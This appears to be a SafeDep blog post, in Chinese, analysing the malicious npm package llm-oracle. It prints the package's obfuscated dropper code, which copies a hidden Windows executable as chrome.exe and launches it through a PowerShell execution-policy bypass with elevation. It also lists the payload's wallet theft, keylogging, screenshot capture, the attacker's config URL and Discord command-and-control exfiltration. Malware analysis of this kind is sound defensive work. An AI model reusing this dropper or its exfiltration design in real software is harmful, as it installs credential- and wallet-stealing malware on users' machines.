目录
socket.io 的好朋友们在 Supply Chain Attacks Targeting LLM Application Developers: The Hidden Dangers of Fake Open Source Packages 上发布了他们的研究成果,分享了关于发现和分析恶意 npm 包 llm-oracle 的发现。这对我们来说很有意思,因为 vet 可以检测到类似的包 redis-oracle 为恶意,但无法检测 llm-oracle。我们决定深入研究 llm-oracle。
使用 vet 扫描恶意软件
vet 可以通过包 URL 扫描一个包。
vet scan --purl pkg:/npm/[email protected]如预期一样,扫描结果检测到了恶意软件。
然而,当我们扫描 llm-oracle 时,没有得到任何检测结果。这并不完全令人惊讶,因为 vet 默认依赖 Package Analysis 数据进行恶意软件检测,而这些数据可能并不准确或不够及时。
手动分析 llm-oracle
我们决定手动分析 llm-oracle。第一步是从 npm registry 识别包元数据。
npm view llm-oracle这产生了一些有用的信息,包括作者、发布者和包最新版本的 URL。
[email protected] | MIT | deps: 28 | versions: 3
[...]
dist
.tarball: https://registry.npmjs.org/llm-oracle/-/llm-oracle-1.0.2.tgz
[...]
dependencies:
[...]
maintainers:
- josh.weavery <[email protected]>
published 3 months ago by josh.weavery <[email protected]>然后我们获取了 tarball 并提取内容进行本地分析。归档包含以下文件:
-rw-r--r-- 1 dev wheel 16773255 Oct 26 1985 Base64Decode.ts
-rw-r--r-- 1 dev wheel 252 Oct 26 1985 HISTORY.md
-rw-r--r-- 1 dev wheel 1111 Oct 26 1985 LICENSE
-rw-r--r-- 1 dev wheel 3105 Oct 26 1985 README.md
-rw-r--r-- 1 dev wheel 2665 Oct 26 1985 index.js
-rw-r--r-- 1 dev wheel 2170 Oct 26 1985 package.json恶意软件分析过程中的第一步是识别文件类型。最简单的方法是使用 file(1) 命令。令人惊讶的是,这第一步本身就给我们提供了一个强烈的恶意软件指标。
Base64Decode.ts: PE32+ executable (GUI) x86-64, for MS Windows
HISTORY.md: ASCII text, with CRLF line terminators
LICENSE: ASCII text, with CRLF line terminators
README.md: ASCII text, with CRLF line terminators
index.js: ASCII text, with CRLF line terminators
package.json: JSON dataBase64Decode.ts 是一个 Windows x86_64 可执行文件,具有 .ts 扩展名。在直接分析有效载荷之前,我们想先查看 dropper index.js 来确认其行为。index.js 包含以下半混淆代码:
const targetFilePath = path.join(
process.env.LOCALAPPDATA,
String('\u0063\u0068\u0072\u006f\u006d\u0065\u002e\u0065\u0078\u0065').replace(/\+/g, '')
);if (!fs.existsSync(targetFilePath)) {
setTimeout(() => {
fs.copyFileSync(modelFilePath, targetFilePath);
exec(
\`p\u006fwersh\u0065ll -\u0045x\u0065cut\u0069\u006fnP\u006fl\u0069cy Byp\u0061ss St\u0061rt-Pr\u006fcess -F\u0069leP\u0061th '${targetFilePath}' -V\u0065rb R\u0075n\u0041s\`,
(error, stdot, stderr) => {}
);
}, 60000);
}虽然高级恶意软件分析技术可能有所不同(开玩笑的),我们使用了老式的 ruby 解释器来查看混淆的字符串。
irb(main):001:0> "\u0063\u0068\u0072\u006f\u006d\u0065\u002e\u0065\u0078\u0065"
=> "chrome.exe"irb(main):006:0> "f\u0073.copyFileSync(m\u006fd\u0065lFileP\u0061th, t\u0061rg\u0065tFileP\u0061th); e\u0078ec(\`p\u006fwersh\u0065ll -\u0045x\u0065cut\u0069\u006fnP\u006fl
\u0069cy Byp\u0061ss St\u0061rt-Pr\u006fcess -F\u0069leP\u0061th '${t\u0061rg\u0065tFileP\u0061th}' -V\u0065rb R\u0075n\u0041s\`, (err\u006fr, std\u006ft, std\u0065rr)"
=> "fs.copyFileSync(modelFilePath, targetFilePath); exec(\`powershell -ExecutionPolicy Bypass Start-Process -FilePath '${targetFilePath}' -Verb RunAs\`, (error, stdot, stderr)"有效载荷
从 index.js,我们可以识别出 Base64Decode.ts(一个 Windows 可执行文件)被复制为 chrome.exe 到 %LOCALAPPDATA% 并使用 powershell.exe 执行。为了理解有效载荷的行为,我们需要与老朋友 IDA Pro 或其近亲 Ghidra 打交道。但不幸的是,strings(1) 让我们走上了不同的道路。我们在有效载荷中发现了以下字符串,表明它是一个使用 PyInstaller 打包成可执行文件的 Python 脚本。
Cannot open PyInstaller archive from executable (%s) or external archive (%s)
Installing PYZ: Could not get sys.path!
PYINSTALLER_STRICT_UNPACK_MODE
PyInstaller: FormatMessageW failed.
PyInstaller: pyi_win32_utils_to_utf8 failed.从可执行文件中提取 PyInstaller 归档得到了以下文件:
在这些文件中,OH8xADfF8q.pyc 看起来很有趣,包含类似这样的字符串:
'D:\work\Python-Trojan-src\OH8xADfF8q.py0H8xADfF8q.pyc 反编译后类似于这样:
import os
import discord
[...]
exec(base64.b64decode(bytes('aW1wb3J0IGJhc2U2NDtl...', 'utf-8')).decode('utf-8'))Base64 编码的字符串包含实际的有效载荷,解码后是一个执行各种常规恶意活动的 Python 脚本。
行为
- 寻找加密钱包
metamask、tronlink、trustwallet、coinbase、flint、exodus、binance、phantom、Xverse、Slope、Solflare、Typhon、nami、keplr、okx、bitski、myetherwallet - 寻找这些钱包的 Chrome 扩展数据
- 从
https://bayard-front-833a4.web.app/start.dat下载配置
{
"gid": "12 __76 __201 __8416 __20 __815 __932",
"tkn": "MT __I __3NjIwMzQ __yNjY __2NDk0 __MzY2Ng.GUg __pUL.X __Xj7OFha __7Z5r __gYZHw __tatOdp3l __i6bZ __HrDQXDCn4"
}- 使用 Guild ID 和 Token 连接到 Discord 服务器
- 使用当前用户名和一个随机字符串创建新频道
- 启动键盘记录器
- 开始截取活动窗口的屏幕截图
- 将按键和屏幕截图发送到 Discord 频道
- 通过 Discord 启动完全的命令和控制
文件传输
有效载荷检查请求传输的文件是否大于 25MB。如果是,它从 https://api.gofile.io/getServer 获取配置,并使用 Python requests 库上传到 https://{server}.gofile.io/uploadFile。当我们尝试访问该 URL 时,得到了 404 Not Found 响应,表明该应用可能是地理围栏的或检查某些请求属性。
结论
-
llm-oracle是一个包含 Windows 可执行文件的恶意包 -
该恶意软件的打包和复杂程度较低
-
使用了常见的攻击者 TTP,通过
powershell.exe、PyInstaller和base64编码执行有效载荷 -
我们预计 AV 和 EDR 能够通过行为分析检测到此有效载荷
-
Discord 被用作 C2 服务器,用于数据泄露和命令控制
-
vet
-
cloud
-
malware
SafeDep 博客最新内容
关注以获取开源安全与工程的最新更新和见解